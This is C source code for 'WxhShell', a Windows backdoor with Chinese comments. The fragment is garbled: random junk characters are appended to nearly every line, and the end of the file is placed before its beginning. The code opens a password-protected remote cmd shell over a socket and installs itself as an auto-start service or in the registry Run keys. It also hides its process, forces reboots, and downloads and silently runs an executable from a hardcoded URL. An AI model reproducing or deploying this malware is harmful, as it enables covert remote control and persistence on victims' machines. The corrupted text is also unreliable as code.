    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )~l`%+  
    if(Boot(SHUTDOWN)) W{v-(pW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {y k0Zef_  
    else { !%4&O  
    closesocket(wsh); Td6"o&0A!  
    ExitThread(0);  G(1y_t  
    } Xm! ;  
    break; =Wj{J.7mf]  
    }  rVo?I  
  // 获取shell _Y gvLz %  
  case 's': { k3wAbGp  
    CmdShell(wsh); +Tw]u`  
    closesocket(wsh);  <c &6M  
    ExitThread(0); V;#bcr=Z<J  
    break; 7D%}( pX  
  } c={bunnz#  
  // 退出 !DUC#)F  
  case 'x': { Iq[Z5k(K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >1n[Y- r  
    CloseIt(wsh); l@zr1g)  
    break; R2[-Q"|Ra  
    } n@Ar%%\  
  // 离开 Ce0YO~I  
  case 'q': { M'4$z^@Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9cm9;  
    closesocket(wsh); fudIUG.  
    WSACleanup(); UoiXIf_Q  
    exit(1); ;{k`nv_6  
    break; aA-gl9  
        } d]*a:>58  
  } ZCbnDj  
  } \Y{^Q7!>:8  
\)Bws `  
  // 提示信息 c)tG1|Og]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +$F_7Hx  
} Lh(` 9(tX  
  } *l[;g  
3bi,9 >%  
  return; <+oTYPgD9  
} #&cNR_"w  
sX~ `Vn&  
// shell模块句柄 UpU2H4  
int CmdShell(SOCKET sock) 5fdB<& 9  
{ 7O,y%NWaK  
STARTUPINFO si; G-)Q*p{i|  
ZeroMemory(&si,sizeof(si)); 2yyJ19Iul  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o=1M<dL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oa'DVfw2J  
PROCESS_INFORMATION ProcessInfo; f/Lyc=- ]  
char cmdline[]="cmd"; Nn_n@K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \MA 4>  
  return 0; f;nO$h[Qb  
} [JY1|N  
tX$ v)O|  
// 自身启动模式 !Cpy )D(  
int StartFromService(void) .qcIl)3  
{ o"Dk`L2  
typedef struct SeC[,  
{ M%evk4_27  
  DWORD ExitStatus; U '#Xwax  
  DWORD PebBaseAddress; GYX/G>-r  
  DWORD AffinityMask; Sl8A=Ez  
  DWORD BasePriority; /2!Wy6 p  
  ULONG UniqueProcessId; 9"=1 O  
  ULONG InheritedFromUniqueProcessId; OUd&fUmH  
}   PROCESS_BASIC_INFORMATION; \=O['#  
)NoNgU\7!  
PROCNTQSIP NtQueryInformationProcess; NT^m.o~4  
d%y)/5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]}wo$7pO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K|q5s]4I  
  pE<@  
  HANDLE             hProcess; Gd:TM]rJ  
  PROCESS_BASIC_INFORMATION pbi; 7Z#r9Vr  
9\_^"5l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (^:0g.~c  
  if(NULL == hInst ) return 0; k_E Jg;(  
BP&T|s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XA&Vtgu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (V:z7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s\)0f_I  
F ka^0  
  if (!NtQueryInformationProcess) return 0; 3N(5V;ti  
d-zNvbU"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3KyIBrdi?  
  if(!hProcess) return 0; $S_xrrE#  
8QYP\7}o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &%@b;)]J  
_M;n.?H  
  CloseHandle(hProcess); N-0kB vo  
<6 HrHw_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D#=$? {w  
if(hProcess==NULL) return 0; b9 F:X  
A5UZUU^  
HMODULE hMod; B_gzpS]  
char procName[255]; Y<4%4>a  
unsigned long cbNeeded; Ft&ARTsa*  
G`/5=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TpB4VNi/<  
qhdY<[6  
  CloseHandle(hProcess); 5^,"Ve|  
6n|R<DO%\  
if(strstr(procName,"services")) return 1; // 以服务启动 SBf8Ipe  
yHXQCWY{8;  
  return 0; // 注册表启动 X j>?P/=Z  
} UA BaS(f3  
UJ/=RBfkJ  
// 主模块 ;?{N=x8  
int StartWxhshell(LPSTR lpCmdLine) F}f/cG<X  
{ 4Y2!q$}I+  
  SOCKET wsl; -4%{Jb-1  
BOOL val=TRUE; (~6D`g`B  
  int port=0; jc$gy`,F  
  struct sockaddr_in door; bAUruTn  
L[D<e?j  
  if(wscfg.ws_autoins) Install(); !08\w@  
G1=/G  
port=atoi(lpCmdLine); T{USzMj  
z]twh&^1L  
if(port<=0) port=wscfg.ws_port; ?2q;`Nb  
6>X9|w  
  WSADATA data; wN+3OPM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8l50@c4UF~  
@VzD> ?)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g'%^-S ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); < Z>p1S  
  door.sin_family = AF_INET; # :)yh]MP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r(VGdG  
  door.sin_port = htons(port); fz[-pJ5[  
Bvai  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F?!X<N{  
closesocket(wsl); Dcep^8'  
return 1; dsUt[z1w5  
} M[= #%U3*N  
,&q Q[i  
  if(listen(wsl,2) == INVALID_SOCKET) { e8Y;~OAj[  
closesocket(wsl); a,YU)v^  
return 1; #cAX9LV  
} eyIbjgpV  
  Wxhshell(wsl); Z8vR/  
  WSACleanup(); dfa^5`_  
a3Fe42G2c|  
return 0; \Wn0,%x2  
pR,eus;8  
} sT<XZLu  
skeXsls  
// 以NT服务方式启动 ~stG2^"[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %8]~+ #]p  
{ Lc?q0x^s  
DWORD   status = 0; iiWm>yy  
  DWORD   specificError = 0xfffffff; DOa%|H'P  
|/M^q{h&7s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7xlarns   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o6@`aU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yo^9Y@WDW  
  serviceStatus.dwWin32ExitCode     = 0; *@-a{T}  
  serviceStatus.dwServiceSpecificExitCode = 0; .*,W%r?1n6  
  serviceStatus.dwCheckPoint       = 0; 0+m4 }]6l  
  serviceStatus.dwWaitHint       = 0; lI&5.,2MP  
Tg;1;XM%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {*NM~yQ  
  if (hServiceStatusHandle==0) return; "~nUwW|=1  
RX cfd-us  
status = GetLastError(); 9u^yEqG`  
  if (status!=NO_ERROR) d+iV19#i  
{ }%lk$g';  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D3 .$Vl,.  
    serviceStatus.dwCheckPoint       = 0; :%2uZ/cG(  
    serviceStatus.dwWaitHint       = 0; 'X(Sn3  
    serviceStatus.dwWin32ExitCode     = status; 5W4Tp% Lda  
    serviceStatus.dwServiceSpecificExitCode = specificError; !gX(Vh*k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zAA3bgaa  
    return; #BOLq`9 f  
  } J*zm*~8\  
-S6^D/(;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _2 Hehw  
  serviceStatus.dwCheckPoint       = 0; Y3M"a8e'  
  serviceStatus.dwWaitHint       = 0; L8.u7(-#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \*i[m&3;q  
} V =-hqo(  
\1[v-hvK  
// 处理NT服务事件,比如:启动、停止 h#?)H7ft  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X6 SqOb\(a  
{ E!]d?t3b  
switch(fdwControl) u[b0MNE~  
{ dkI(&/  
case SERVICE_CONTROL_STOP: kgGMA 7Jy  
  serviceStatus.dwWin32ExitCode = 0; qV&ai{G:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &l;wb.%ijW  
  serviceStatus.dwCheckPoint   = 0; b 8~7C4  
  serviceStatus.dwWaitHint     = 0; "IMq +  
  { 1yT\|2ARZ%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -s,guW |  
  } Z0!yTM/C  
  return; 3+tr_psH  
case SERVICE_CONTROL_PAUSE:  97-=Vb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j"wbq-n,7  
  break; T.B} k`$  
case SERVICE_CONTROL_CONTINUE: ]<<+#Rg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GGF;4  
  break; .~jn N  
case SERVICE_CONTROL_INTERROGATE: -5.~POO  
  break; a0*qK)gH  
}; 68YJ@(iS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FTT=h0t  
} P d)<Iw^<  
LAcK%  
// 标准应用程序主函数 OJTEvb6nPg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S/H!a:_5r  
{ NI)q<@ju  
C=!YcJ9  
// 获取操作系统版本 |:G`f8q9  
OsIsNt=GetOsVer(); ; +%|!~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "Qfw)!#  
+x:-W0C:  
  // 从命令行安装 3oE3bBj  
  if(strpbrk(lpCmdLine,"iI")) Install(); IP-}J$$1  
[ (eO_I5ep  
  // 下载执行文件 lgei<\6~n5  
if(wscfg.ws_downexe) { a]nyZdt`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #`Gh8n#  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Q" 3B6 86  
} <h<4R Rj  
UCDvN  
if(!OsIsNt) { [/Ya4=C@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~G#^kNme  
HideProc(); 9G)q U  
StartWxhshell(lpCmdLine); hY^-kdQ>M  
} L7 f'  
else Z2soy-  
  if(StartFromService()) u>I;Cir4  
  // 以服务方式启动 -4!i(^w[m/  
  StartServiceCtrlDispatcher(DispatchTable); WeqQw?-  
else dab[x@#r>  
  // 普通方式启动 gt= _;KZ  
  StartWxhshell(lpCmdLine); +ziQ]r2g  
+(9qAB7  
return 0; Ne 9R u'B6  
} ee5QZ,  
~.'NG? %7P  
oN/T>&d  
2gC.Z:}  
=========================================== q,H 0=\  
|=CV.Su  
7<?~A6  
a|\ZC\(xI  
|Y42ZOK0  
7 *#pv}Y  
" 2n`OcXCh/  
T-L; iH~0  
#include <stdio.h> 0o+2]`q)Q  
#include <string.h> B U^3Ux$  
#include <windows.h> 3%$nRP X  
#include <winsock2.h> wt@q+9:  
#include <winsvc.h> pdQ6/vh  
#include <urlmon.h> ;2=H7dq  
1vF^<{%v  
#pragma comment (lib, "Ws2_32.lib") Y)=89s&t  
#pragma comment (lib, "urlmon.lib") WV'FW)%  
@'yD(ZMAz  
#define MAX_USER   100 // 最大客户端连接数 N>$Nw<wV  
#define BUF_SOCK   200 // sock buffer +R_w- NI  
#define KEY_BUFF   255 // 输入 buffer oU.LYz_  
I}aiy.l  
#define REBOOT     0   // 重启 %TA3o71  
#define SHUTDOWN   1   // 关机 9V%s1@K  
v!pT!(h4  
#define DEF_PORT   5000 // 监听端口 ^|(w)Sy  
^BruRgc+  
#define REG_LEN     16   // 注册表键长度 U_UX *  
#define SVC_LEN     80   // NT服务名长度 Y M_\ ZK:  
'b* yYX<  
// 从dll定义API [Yzh(a8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;J[1S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v_gQCS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]B<Hrnn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Qv+*%c  
}lk_Oe1  
// wxhshell配置信息 /Wh} ;YTv^  
struct WSCFG { IR+dGqIjZb  
  int ws_port;         // 监听端口 Qn77ZpL:LJ  
  char ws_passstr[REG_LEN]; // 口令 ^fLePsmd  
  int ws_autoins;       // 安装标记, 1=yes 0=no A(mU,^  
  char ws_regname[REG_LEN]; // 注册表键名 Ew=8"V`C  
  char ws_svcname[REG_LEN]; // 服务名 _d'x6$Jg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (=H%VXQH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ['MG/FKuv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l!plw,PYC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L44/eyrp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ag-\(i;K]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Z +3=$P  
>5&'_  
}; 99@uU[&IJ  
wjF/c  
// default Wxhshell configuration  #cqia0.H  
struct WSCFG wscfg={DEF_PORT, 5'/Ney9N  
    "xuhuanlingzhe", SSKn7`  
    1, BpL,<r,  
    "Wxhshell", {q%wr*  
    "Wxhshell", /RuGh8qzP  
            "WxhShell Service", +-=w`  
    "Wrsky Windows CmdShell Service", #7IM#t c@  
    "Please Input Your Password: ", %X Jv;|  
  1, 3[E3]]OVa  
  "http://www.wrsky.com/wxhshell.exe", y]B?{m``6  
  "Wxhshell.exe" {$,e@nn  
    }; ]A:n]mL  
/R&!92I0*  
// 消息定义模块 /vi>@a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \ %Er%yv)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NKD<VMcqw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XYtDovbv&  
char *msg_ws_ext="\n\rExit."; QCFLi n+r  
char *msg_ws_end="\n\rQuit."; {)j3Pn  
char *msg_ws_boot="\n\rReboot..."; P%A^TD|  
char *msg_ws_poff="\n\rShutdown..."; 31 \l0Jg  
char *msg_ws_down="\n\rSave to "; Q# w`ZQX3  
Y]aVa2!Wb  
char *msg_ws_err="\n\rErr!"; C9[Jr)QX  
char *msg_ws_ok="\n\rOK!"; P#(BdKjM  
V?Y;.n&y  
char ExeFile[MAX_PATH]; pe>R2<!$  
int nUser = 0; =7@N'xX  
HANDLE handles[MAX_USER]; cXiNO ke&  
int OsIsNt; )-q#hY  
l2"{uCcA  
SERVICE_STATUS       serviceStatus; luYkC@I@a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .5*h']iFr1  
fr$E'+l)  
// 函数声明 :DTKZ9>2D  
int Install(void); ES[H^}|Gi  
int Uninstall(void); ?IR]y-r  
int DownloadFile(char *sURL, SOCKET wsh); QFMR~6 ?  
int Boot(int flag); 0b%"=J2/p.  
void HideProc(void); G. Z:00x  
int GetOsVer(void); 8"L#5MO t  
int Wxhshell(SOCKET wsl); BbEWa  
void TalkWithClient(void *cs); q(sEN!^L`  
int CmdShell(SOCKET sock); 1zwk0={x-%  
int StartFromService(void); hh/C{ l  
int StartWxhshell(LPSTR lpCmdLine); o$]wd*+  
p|!5G&O,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); We&~]-b AW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #@s[!4)_I  
v?e@`;- <  
// 数据结构和表定义 .?T,>#R  
SERVICE_TABLE_ENTRY DispatchTable[] = LT7C>b  
{ -j1?l Y  
{wscfg.ws_svcname, NTServiceMain}, Y 3W_Z  
{NULL, NULL} 5VD(fW[OW]  
}; iV#sMJN9  
jFbj)!;  
// 自我安装 a*?bnw?  
int Install(void) ] TY$  
{ {j$:9  H  
  char svExeFile[MAX_PATH]; `@%hz%8Y  
  HKEY key; 84g$V}mp  
  strcpy(svExeFile,ExeFile); = F*SAz  
DFDlp  
// 如果是win9x系统,修改注册表设为自启动 @r7ekyO8)  
if(!OsIsNt) { E,u/^V9x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {k BHZ$/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +9LIpU&5  
  RegCloseKey(key); qiEw[3Za]'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .V~z6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uG-t)pej  
  RegCloseKey(key); HRQ3v`P.  
  return 0; in}d(%3h  
    } /e|vz^#+1,  
  } CK[w0VCT  
} >6yA+?[:  
else { `"@Pr,L   
s{g^K#BoFi  
// 如果是NT以上系统,安装为系统服务 okwkMd-yW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qPal'c0  
if (schSCManager!=0) ckDWY<@v  
{ bhk:Szqz  
  SC_HANDLE schService = CreateService 'PO+P~|oa&  
  ( }EJAC*W,  
  schSCManager, 9 5cIdF 6m  
  wscfg.ws_svcname, hIBW$  
  wscfg.ws_svcdisp, LDX>S*cL  
  SERVICE_ALL_ACCESS, o2'^MxKb T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oU|yBs1  
  SERVICE_AUTO_START, PMOyZ3  
  SERVICE_ERROR_NORMAL, 4Ny lc.2mi  
  svExeFile, ~F)[H'$A  
  NULL, py-5 :g}d  
  NULL, X(r$OZ  
  NULL, Nqy)jfyex  
  NULL, qoZUX3{  
  NULL mFk6a{+YX  
  ); [hhPkJf|f  
  if (schService!=0) Fu%D2%V$/  
  { )t?_3'W  
  CloseServiceHandle(schService); 6gy;Xg  
  CloseServiceHandle(schSCManager); ,ma4bqRMc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K>a@AXC  
  strcat(svExeFile,wscfg.ws_svcname); yb/v?q?Fk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xZ\`f-zL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [D$% LRX  
  RegCloseKey(key); e&k=fV  
  return 0; m)\wbkC  
    } T[(4z@d`5  
  } ;NoD4*  
  CloseServiceHandle(schSCManager); =w,cdU*  
} $ca>b X]  
} 'uBagd>*  
&YpWfY&V  
return 1; WHkrd8  
} c{(4s6D  
^U;r>[T9h  
// 自我卸载 IKs2.sj"o  
int Uninstall(void) PrQs_ t Ni  
{ e$Npo<u  
  HKEY key; TBU.%3dEyI  
dN)@/R^E;  
if(!OsIsNt) { ]"X} FU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =5 kTzH.  
  RegDeleteValue(key,wscfg.ws_regname); _mG>^QI.  
  RegCloseKey(key); w~|z0;hC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A5q%yt I  
  RegDeleteValue(key,wscfg.ws_regname); -<Oy5N  
  RegCloseKey(key); n38l!m(.  
  return 0; y%Wbm&h  
  } 8]2j*e0xV  
} R64/m9  
} d{FD.eI 0  
else { tj< 0q<is  
p6*|)}T_%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V|T3blG?D  
if (schSCManager!=0) ];U}'&  
{ iosL&*'8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7a#zr_r  
  if (schService!=0) w=}R'O;k  
  { dt1,! sHn  
  if(DeleteService(schService)!=0) { ;e#bl1%#  
  CloseServiceHandle(schService); xA#'%|"  
  CloseServiceHandle(schSCManager); K[Ao_v2g  
  return 0; jHx)q|2\  
  } rvwfQ'14  
  CloseServiceHandle(schService); R1/87eB  
  } mEVne.D  
  CloseServiceHandle(schSCManager); g| M@/D l  
} >&DNxw  
} 67b[T~92o  
1}DUe. a  
return 1; 'boAv%1_sa  
} j|c6BdROl  
4K<T_B/  
// 从指定url下载文件 nd xijqw  
int DownloadFile(char *sURL, SOCKET wsh) <CM}g4Y  
{ 9xZ?}S:d  
  HRESULT hr; z<Y >phc  
char seps[]= "/"; Yv7`5b{N.  
char *token; $P7G,0-  
char *file; F3,djZq  
char myURL[MAX_PATH]; cd?arIV5  
char myFILE[MAX_PATH]; ?:1)=I<A4  
fNZ:l=L3):  
strcpy(myURL,sURL); @"$rR+r'  
  token=strtok(myURL,seps); -7\6j#;l  
  while(token!=NULL) !tr /$  
  { ckg8x&Z  
    file=token; u*C"d1v=  
  token=strtok(NULL,seps); VjhwafYC  
  } H,5 ##@X  
J"W+9sI0  
GetCurrentDirectory(MAX_PATH,myFILE); j6.'7f5M<H  
strcat(myFILE, "\\"); u, Rhm-`  
strcat(myFILE, file); ukH?O)0O  
  send(wsh,myFILE,strlen(myFILE),0); @Tl!A1y?  
send(wsh,"...",3,0); JJn+H&[B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q=|0lZ$`V_  
  if(hr==S_OK) d;c<" +  
return 0; 8OW504AD  
else nM,5KHU4a  
return 1; A1u|L^  
{aRZBIv  
} -a(\(^NW  
@N0(%o&  
// 系统电源模块 H@R2mw  
int Boot(int flag) bAl0z)p  
{ NA`EG,2  
  HANDLE hToken; Y><")%Q  
  TOKEN_PRIVILEGES tkp; }{(|^s=  
7L=V{,,v  
  if(OsIsNt) { NXyuv7%5=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D@yuldx'/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gUq)M  
    tkp.PrivilegeCount = 1; ->S6S_H/+&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; At#'q>Dn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k-M-=VvA  
if(flag==REBOOT) { 8(Y=MW;g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Gr775"  
  return 0; }M I9?\"q  
} 389puDjy  
else { 43?J~}<Vs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tt7l%olw  
  return 0;  8/|~E  
} \I4*|6kA  
  } # Y*cLN`Y7  
  else { F ;m1I+;  
if(flag==REBOOT) {  9g*MBe:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #VwA?$4g`  
  return 0; .2jG~_W[  
} X|WAUp?  
else { [@qUQ,Ie  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yjr6/&ML  
  return 0; sDH|k@K  
} AjQ^ {P  
} U*' YGv  
_S(]/d(c  
return 1; Q.Kr;64G  
} s)e; c<(/  
cXJtNW@  
// win9x进程隐藏模块 ?6bk&"T?  
void HideProc(void) FH'jP`  
{ .+H8c.  
kd9GHN;7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m_TZY_;  
  if ( hKernel != NULL ) _cZ`7 ]Z  
  { &B^vHH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vYD>m~Qc^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PUUBn"U-  
    FreeLibrary(hKernel);  ,T{(t@  
  } TXi$Q%0W  
({cgak  
return; sg(L`P  
} j/bebR}X  
 {Y9m;b,X  
// 获取操作系统版本 Qr;es,f  
int GetOsVer(void) #EpDIL  
{ vO1P%)  
  OSVERSIONINFO winfo; gz[Ng> D+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [)`9euR%  
  GetVersionEx(&winfo); BEM+FG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .~ a)  
  return 1; T[=XGAJ  
  else /FiFtAbb  
  return 0; O\L(I079  
} aW3yl}`{  
/h0<0b?i  
// 客户端句柄模块 W|T"'M_  
int Wxhshell(SOCKET wsl) S\Qh#y FT  
{ ,z)7rU`  
  SOCKET wsh; _tQ=ASe0  
  struct sockaddr_in client; b9(d@2MtK  
  DWORD myID; d8g3hyI5\  
V9"Kro  
  while(nUser<MAX_USER) \PzC:H  
{ xZS  
  int nSize=sizeof(client); yov:JnWo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J%xp1/= 2  
  if(wsh==INVALID_SOCKET) return 1; :Qu!0tY  
4i[3|hv'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `4Z#/g  
if(handles[nUser]==0) -,96Qg4vI  
  closesocket(wsh); ?M7nbfy[A@  
else d {moU\W  
  nUser++; /'G'GQrr  
  } 3l>P>[<o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K4xZT+Qb  
-nO('(t  
  return 0; lw? f2_fi  
} i,ku91T  
f+s'.z%  
// 关闭 socket )G ,LG0"-  
void CloseIt(SOCKET wsh) m0F-[k3)  
{ uGJeQ  
closesocket(wsh); J mFzSR?}  
nUser--; " %|CD"@  
ExitThread(0); h|%d=`P,  
} }tx~y-QQ  
{C*mn!u  
// 客户端请求句柄 h=4m2m  
void TalkWithClient(void *cs) 8dUwJ"<5  
{ )TyL3Z\>(  
nH% /  
  SOCKET wsh=(SOCKET)cs; h&yaug,.  
  char pwd[SVC_LEN]; WLNkO^zb  
  char cmd[KEY_BUFF]; Ec0Ee0%A]  
char chr[1]; 5.VA1  
int i,j; u|8`=  
;'ts dsu}  
  while (nUser < MAX_USER) { vD1jxk'fd  
KfWVz*DC!  
if(wscfg.ws_passstr) { Um15@p;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AGCqJ8`|T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |=38t8Ge&  
  //ZeroMemory(pwd,KEY_BUFF); % C6 H(  
      i=0; X^9_'T9  
  while(i<SVC_LEN) { i>,5b1x~  
)KBv[|  
  // 设置超时 Fw"~f5O  
  fd_set FdRead; ])~*)I~Y  
  struct timeval TimeOut; S~/iH Xm  
  FD_ZERO(&FdRead); HE+VanY![  
  FD_SET(wsh,&FdRead); B7 }-g"p$/  
  TimeOut.tv_sec=8; = "c _<?=[  
  TimeOut.tv_usec=0; 2E2J=Do  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tk}qvW.Ii  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8CA4gnh  
,Z>RvLl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |.(o4<nx.  
  pwd=chr[0]; 92 Pp.Rh  
  if(chr[0]==0xd || chr[0]==0xa) { 'Q(A5zfN]Y  
  pwd=0; *A,=Y/  
  break; Cn28&$:J  
  } =nid #<X  
  i++; eX_}KH-Q  
    } X[Y!=e4z  
u0XGtu$4  
  // 如果是非法用户,关闭 socket YLobBtXc9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LDPo}ogs  
} 7BI0g@$Nn]  
C(,s_Ks  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z[({; WtF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z=ppNP0  
JxD@y}ZYE  
while(1) { IyP\7WZ  
qKO\;e*  
  ZeroMemory(cmd,KEY_BUFF); wau81rSd  
%],.?TS2V  
      // 自动支持客户端 telnet标准   ZibHT:n  
  j=0; "n]B~D  
  while(j<KEY_BUFF) { `+zr PpX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ZaK+ B  
  cmd[j]=chr[0]; aL=VNZ!Pqc  
  if(chr[0]==0xa || chr[0]==0xd) { Y =` 3L  
  cmd[j]=0; AQ0L9?   
  break; 4-3B"  
  } NqF-[G<  
  j++; ,Y!T!o} 1  
    } F=P|vYL&&  
#Wc)wL-Tg  
  // 下载文件 w$B7..r  
  if(strstr(cmd,"http://")) { gWWy!H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( I,V+v+{Y  
  if(DownloadFile(cmd,wsh)) &F.lo9JJ  
